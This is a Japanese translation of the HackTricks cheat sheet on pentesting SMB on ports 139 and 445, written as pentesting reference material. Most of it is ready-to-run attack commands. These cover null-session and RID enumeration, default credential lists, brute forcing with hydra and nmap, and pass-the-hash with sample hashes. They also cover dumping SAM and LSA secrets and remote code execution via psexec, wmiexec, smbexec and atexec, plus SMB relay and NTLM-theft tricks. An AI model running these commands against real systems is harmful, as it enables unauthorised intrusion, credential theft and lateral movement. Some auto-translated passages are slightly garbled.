32 KiB
139,445 - Pentesting SMB
139,445 - SMBのペンテスト
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したり、HackTricksをPDFでダウンロードしたい場合は SUBSCRIPTION PLANS をチェックしてください!
- 公式PEASS&HackTricksのグッズを入手する
- The PEASS Familyを発見し、独占的なNFTsのコレクションを見つける
- **💬 Discordグループに参加するか、telegramグループに参加するか、Twitter 🐦 @carlospolopm をフォローする。
- ハッキングテクニックを共有するために、 HackTricks と HackTricks Cloud のGitHubリポジトリにPRを提出する。
ポート139
ネットワーク基本入出力システム(NetBIOS)**は、ローカルエリアネットワーク(LAN)内のアプリケーション、PC、およびデスクトップがネットワークハードウェアとやり取りし、データの送受信を容易にするために設計されたソフトウェアプロトコルです。 NetBIOSネットワーク上で動作するソフトウェアアプリケーションの識別と場所は、16文字までのNetBIOS名を使用して達成され、通常はコンピュータ名とは異なります。 2つのアプリケーション間のNetBIOSセッションは、1つのアプリケーション(クライアントとして動作)が別のアプリケーション(サーバーとして動作)を「呼び出す」コマンドを発行することによって、TCPポート139を使用して開始されます。
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
ポート445
技術的には、ポート139は「NBT over IP」と呼ばれ、ポート445は「SMB over IP」と識別されます。SMBとは「Server Message Blocks」の頭字語であり、現代では**Common Internet File System (CIFS)**としても知られています。アプリケーション層のネットワークプロトコルであるSMB/CIFSは、主にファイル、プリンタ、シリアルポートへの共有アクセスを可能にし、ネットワーク上のノード間でのさまざまな形式の通信を容易にします。
例えば、Windowsの場合、SMBはTCP/IP上で直接動作することが強調されており、ポート445の利用によりNetBIOS over TCP/IPの必要性がなくなります。一方、他のシステムでは、ポート139の使用が観察され、SMBがNetBIOS over TCP/IPと共に実行されていることが示されています。
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
SMB
Server Message Block (SMB)プロトコルは、クライアント-サーバーモデルで動作し、ファイルへのアクセス、ディレクトリ、プリンタ、およびルータなどの他のネットワークリソースへのアクセスを規制するために設計されています。主にWindowsオペレーティングシステムシリーズで利用されており、SMBは後方互換性を確保し、Microsoftのオペレーティングシステムの新しいバージョンを搭載したデバイスが古いバージョンを実行しているデバイスとシームレスにやり取りできるようにしています。さらに、Sambaプロジェクトは、SMBをLinuxおよびUnixシステムに実装するための無料ソフトウェアソリューションを提供しており、これによりSMBを介したクロスプラットフォームの通信が容易になっています。
ローカルファイルシステムの任意の部分を表す共有は、SMBサーバーによって提供され、クライアントにサーバーの実際の構造から一部独立した階層を表示します。アクセス制御リスト(ACLs)は、アクセス権限を定義し、実行
、読み取り
、および**完全アクセス
などの属性を含むユーザー権限に対して細かい制御**を可能にします。これらの権限は、共有に基づいて個々のユーザーやグループに割り当てることができ、サーバーに設定されたローカル権限とは異なります。
IPC$ 共有
IPC$共有へのアクセスは、匿名のヌルセッションを介して取得でき、名前付きパイプを介して公開されたサービスとのやり取りが可能になります。この目的には、ユーティリティenum4linux
が役立ちます。適切に利用すると、次の情報を取得できます:
- オペレーティングシステムに関する情報
- 親ドメインの詳細
- ローカルユーザーとグループの一覧
- 利用可能なSMB共有に関する情報
- 有効なシステムセキュリティポリシー
この機能は、ネットワーク管理者やセキュリティ専門家がネットワーク上のSMB(Server Message Block)サービスのセキュリティポストを評価するために重要です。enum4linux
は、対象システムのSMB環境の包括的なビューを提供し、潜在的な脆弱性を特定し、SMBサービスが適切に保護されていることを確認するために不可欠です。
enum4linux -a target_ip
上記のコマンドは、target_ip
で指定されたターゲットに対して完全な列挙を実行するために enum4linux
が使用される方法の例です。
NTLMとは
NTLMが何かわからない場合や、それがどのように機能し、どのように悪用できるかを知りたい場合は、NTLMに関するこのページが非常に興味深いでしょう。このページでは、このプロトコルがどのように機能し、どのようにそれを悪用できるかが説明されています:
{% content-ref url="../../windows-hardening/ntlm/" %} ntlm {% endcontent-ref %}
サーバーの列挙
ホストを検索するためにネットワークをスキャンします:
nbtscan -r 192.168.0.1/24
SMBサーバーバージョン
SMBバージョンへの潜在的な脆弱性を探すためには、使用されているバージョンを知っておくことが重要です。この情報が他の使用されているツールに表示されない場合は、次の方法があります:
- MSFの補助モジュール auxiliary/scanner/smb/smb_version を使用する
- または、このスクリプト:
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
脆弱性の検索
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
可能性のある資格情報
ユーザー名 | 一般的なパスワード |
---|---|
(空白) | (空白) |
guest | (空白) |
Administrator, admin | (空白), password, administrator, admin |
arcserve | arcserve, backup |
tivoli, tmersrvd | tivoli, tmersrvd, admin |
backupexec, backup | backupexec, backup, arcada |
test, lab, demo | password, test, lab, demo |
総当たり攻撃
SMB環境情報
情報の取得
#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>
#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash
rpcclient -U "username%passwd" <IP> #With creds
#You can use querydispinfo and enumdomusers to query user information
#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
ユーザー、グループ、およびログインユーザーの列挙
この情報は、enum4linuxとenum4linux-ngからすでに収集されているはずです。
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]
ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "
rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups
ローカルユーザーの列挙
lookupsid.py -no-pass hostname.local
Oneliner
Description
A one-liner is a single line of code or command that performs a specific task or function. In the context of penetration testing, one-liners can be used to quickly execute commands on a target system to gather information, exploit vulnerabilities, or perform other actions. One-liners are often used for their simplicity and efficiency in carrying out tasks during a penetration test.
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
Metasploit - ローカルユーザーの列挙
use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run
LSARPCおよびSAMR rpcclientの列挙
{% content-ref url="rpcclient-enumeration.md" %} rpcclient-enumeration.md {% endcontent-ref %}
LinuxからのGUI接続
ターミナルで:
xdg-open smb://cascade.htb/
ファイルブラウザウィンドウ(nautilus、thunarなど)で:
smb://friendzone.htb/general/
共有フォルダの列挙
共有フォルダのリスト
何かにアクセスできるかどうかを常に確認することをお勧めします。資格情報がない場合は、null 資格情報/ゲストユーザーを使用してみてください。
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
smbmap -H <IP> [-P <PORT>] #Null user
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list
crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
共有フォルダの接続/リスト
#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls' to list recursively with smbclient
#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
Windows共有を手動で列挙し、接続する
ホストマシンの共有を表示することが制限されている可能性があり、共有をリストしようとすると接続できる共有がないかのように表示されることがあります。そのため、共有に手動で接続してみる価値があるかもしれません。共有を手動で列挙するには、有効なセッション(例:ヌルセッションまたは有効な資格情報)を使用して NT_STATUS_ACCESS_DENIED や NT_STATUS_BAD_NETWORK_NAME のような応答を探すことがおすすめです。これらは、共有が存在しアクセス権がないか、共有が存在しないかを示す可能性があります。
Windowsターゲットの一般的な共有名は以下の通りです。
- C$
- D$
- ADMIN$
- IPC$
- PRINT$
- FAX$
- SYSVOL
- NETLOGON
(Network Security Assessment 3rd edition からの一般的な共有名)
以下のコマンドを使用してこれらに接続を試みることができます。
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
または、このスクリプト(ヌルセッションを使用)
#/bin/bash
ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
if [[ -z $output ]]; then
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
else
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
done
Examples
Enumerating SMB Shares
To list the available SMB shares on a target system, you can use tools like smbclient
or smbmap
. Here is an example using smbclient
:
smbclient -L //<target_ip>
Enumerating SMB Users
To enumerate users via SMB, tools like enum4linux
can be used. Here is an example command:
enum4linux -U -S //<target_ip>
Enumerating SMB Groups
To enumerate groups via SMB, you can use the following command with enum4linux
:
enum4linux -G -S //<target_ip>
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
Windows / サードパーティツールを使用せずに共有を列挙する
PowerShell
# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
# Retrieves the SMB shares on a remote computer.
get-smbshare -CimSession "<computer name or session object>"
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection
コマンドプロンプト
# List shares on the local computer
net share
# List shares on a remote computer (including hidden ones)
net view \\<ip> /all
MMCスナップイン(グラフィカル)
# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
explorer.exe(グラフィカル)、\\<ip>\
を入力して、利用可能な非非表示共有を表示します。
共有フォルダをマウント
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
ファイルのダウンロード
以前のセクションを読んで、資格情報/Pass-the-Hashを使用して接続する方法を学んでください。
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
#Download all
smbclient //<IP>/<share>
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory
ドメイン共有フォルダの検索
- Snaffler****
Snaffler.exe -s -d domain.local -o snaffler.log -v data
- CrackMapExec のスパイダー。
-M spider_plus [--share <share_name>]
--pattern txt
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
特に興味深いのは、Registry.xml
と呼ばれるファイルで、Group Policy を介して autologon に設定されたユーザーの パスワード が含まれている可能性があります。また、web.config
ファイルには資格情報が含まれていることがあります。
{% hint style="info" %}
SYSVOL共有 はドメイン内のすべての認証済みユーザーによって 読み取り可能 です。そこには多くの異なるバッチ、VBScript、PowerShell スクリプトが含まれているかもしれません。
内部の スクリプト を チェック するべきです。そこには パスワード などの機密情報が含まれている可能性があります。
{% endhint %}
レジストリの読み取り
いくつかの発見された資格情報を使用して レジストリを読み取る ことができるかもしれません。Impacket reg.py
を使用して次のように試すことができます:
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
ポストエクスプロイテーション
Samba サーバーのデフォルト構成は通常 /etc/samba/smb.conf
にあり、いくつかの危険な構成が含まれている可能性があります:
設定 | 説明 |
---|---|
browseable = yes |
現在の共有内の利用可能な共有をリスト表示することを許可しますか? |
read only = no |
ファイルの作成と変更を禁止しますか? |
writable = yes |
ユーザーがファイルを作成および変更できるようにしますか? |
guest ok = yes |
パスワードを使用せずにサービスに接続を許可しますか? |
enable privileges = yes |
特定の SID に割り当てられた権限を尊重しますか? |
create mask = 0777 |
新しく作成されたファイルに割り当てる必要のあるアクセス許可は何ですか? |
directory mask = 0777 |
新しく作成されたディレクトリに割り当てる必要のあるアクセス許可は何ですか? |
logon script = script.sh |
ユーザーのログイン時に実行する必要のあるスクリプトは何ですか? |
magic script = script.sh |
スクリプトが閉じられたときに実行する必要のあるスクリプトはどれですか? |
magic output = script.out |
マジックスクリプトの出力を保存する必要のある場所はどこですか? |
Smbstatus
コマンドはサーバーと接続しているユーザーに関する情報を提供します。
Kerberos を使用した認証
smbclient と rpcclient ツールを使用して kerberos に認証できます:
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
コマンドの実行
crackmapexec
crackmapexecは、wmiexecがデフォルトのメソッドであるmmcexec、smbexec、atexec、wmiexecのいずれかを悪用してコマンドを実行できます。使用するオプションを指定するには、パラメータ--exec-method
を使用できます:
apt-get install crackmapexec
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
psexec/smbexec
両方のオプションは、被害者のマシンで \pipe\svcctl を介して SMB を使用して新しいサービスを作成し、それを使用して何かを実行します(psexec は実行可能ファイルを ADMIN$ 共有にアップロードし、smbexec は cmd.exe/powershell.exe を指定し、引数にペイロードを入れます --ファイルレステクニック--)。
psexec と smbexecに関する詳細情報。
Kali では、/usr/share/doc/python3-impacket/examples/ にあります。
#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
パラメータ-k
を使用すると、NTLMの代わりにkerberosに対して認証できます
wmiexec/dcomexec
ポート135を介してDCOMを使用してディスクに触れずに新しいサービスを実行せずにコマンドシェルをステルスリーに実行します。
kaliでは、/usr/share/doc/python3-impacket/examples/にあります。
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
パラメータ-k
を使用すると、NTLMの代わりにkerberosに対して認証を行うことができます。
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
AtExec
タスクスケジューラーを介してコマンドを実行します(SMBを介した\pipe\atsvc_を使用)。
kaliでは、/usr/share/doc/python3-impacket/examples/にあります。
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
Impacket リファレンス
https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/
ユーザー資格情報のブルートフォース
これは推奨されません。最大許可された試行回数を超えるとアカウントがブロックされる可能性があります
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
SMB中継攻撃
この攻撃は、内部ネットワークでResponserツールキットを使用してSMB認証セッションをキャプチャし、それをターゲットマシンに中継します。認証セッションが成功すると、自動的にシステムのシェルに移行します。
この攻撃に関する詳細情報はこちら。
SMB-Trap
WindowsライブラリURLMon.dllは、ページがSMB経由でコンテンツにアクセスしようとすると、ホストに自動的に認証を試みます。例: img src="\\10.10.10.10\path\image.jpg"
これは、次の機能で発生します:
- URLDownloadToFile
- URLDownloadToCache
- URLOpenStream
- URLOpenBlockingStream
これらは一部のブラウザやツール(Skypeなど)で使用されています。
MitMfを使用したSMBTrap
NTLM盗難
SMBトラップと同様に、悪意のあるファイルをターゲットシステムに(たとえばSMB経由で)配置することで、SMB認証の試行が引き起こされ、NetNTLMv2ハッシュがResponserなどのツールで傍受されます。そのハッシュはオフラインで解読されるか、SMB中継攻撃で使用されます。
HackTricks自動コマンド
Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMB
Note: |
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
#These are the commands I run in order every time I see an open SMB port
With No Creds
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}
With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.xyz/pentesting/pentesting-smb
Entry_2:
Name: Enum4Linux
Description: General SMB Scan
Command: enum4linux -a {IP}
Entry_3:
Name: Nmap SMB Scan 1
Description: SMB Vuln Scan With Nmap
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
Entry_4:
Name: Nmap Smb Scan 2
Description: SMB Vuln Scan With Nmap (Less Specific)
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
Entry_5:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
Entry_6:
Name: SMB/SMB2 139/445 consolesless mfs enumeration
Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
AWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksのグッズを入手してください
- The PEASS Familyを発見し、独占的なNFTsのコレクションをご覧ください
- 💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦 @carlospolopmでフォロー**してください。
- ハッキングトリックを共有するために、PRを HackTricks および HackTricks Cloud のGitHubリポジトリに提出してください。